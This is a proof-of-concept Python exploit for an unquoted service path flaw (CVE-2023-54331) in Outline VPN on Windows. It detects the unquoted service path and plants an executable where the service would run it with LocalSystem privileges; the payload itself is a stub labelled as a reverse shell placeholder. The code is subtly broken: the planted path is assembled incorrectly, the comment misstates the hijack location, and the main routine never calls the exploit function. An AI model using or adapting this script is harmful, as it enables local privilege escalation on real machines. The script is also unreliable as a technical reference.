CVE-2023-54331: Outline VPN 未引用服务路径权限提升漏洞

# CVE-2023-54331 PoC - Outline Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Outline VPN # Author: Security Researcher # Target: Outline VPN <= 1.6.0 import os import subprocess import time def check_vulnerable(): """Check if OutlineService has unquoted path vulnerability""" try: result = subprocess.run( ['sc', 'qc', 'OutlineService'], capture_output=True, text=True ) output = result.stdout # Check if BINARY_PATH_NAME exists without quotes if 'BINARY_PATH_NAME' in output: for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() # Vulnerability exists if path has spaces and no quotes if ' ' in path and not (path.startswith('"') and path.endswith('"')): return True, path return False, None except Exception as e: print(f"Error checking vulnerability: {e}") return False, None def create_malicious_executable(): """Create a reverse shell payload""" # This would contain actual malicious code # For demonstration purposes only - do not use for malicious purposes malicious_code = b'MZ' + b'\x00' * 100 # Minimal PE header return malicious_code def exploit_unquoted_path(target_dir): """Exploit unquoted service path by placing malicious executable""" # Determine which path component to target path_parts = target_dir.split('\\') # For C:\Program Files\Outline\OutlineService.exe # Target: C:\Program Files\OutlineService.exe if len(path_parts) >= 2: exploit_path = os.path.join(path_parts[0], path_parts[1] + 'OutlineService.exe') try: # Create malicious executable at the unquoted path with open(exploit_path, 'wb') as f: f.write(create_malicious_executable()) print(f"[+] Malicious executable created at: {exploit_path}") print("[+] Waiting for service restart...") print("[+] When OutlineService restarts, it will execute our payload with LocalSystem privileges") return True except PermissionError: print("[-] Permission denied - need elevated privileges") return False return False def main(): print("=" * 60) print("CVE-2023-54331 - Outline VPN Unquoted Service Path Exploit") print("=" * 60) vulnerable, service_path = check_vulnerable() if vulnerable: print(f"[+] Vulnerability confirmed!") print(f"[+] Service path: {service_path}") print("[+] System is vulnerable to unquoted service path attack") # Extract directory from path path_parts = service_path.replace('"', '').strip().split() if path_parts: target_dir = path_parts[0] print(f"[~] Target directory for exploitation: {os.path.dirname(target_dir)}") else: print("[-] Service not found or not vulnerable") if __name__ == "__main__": main()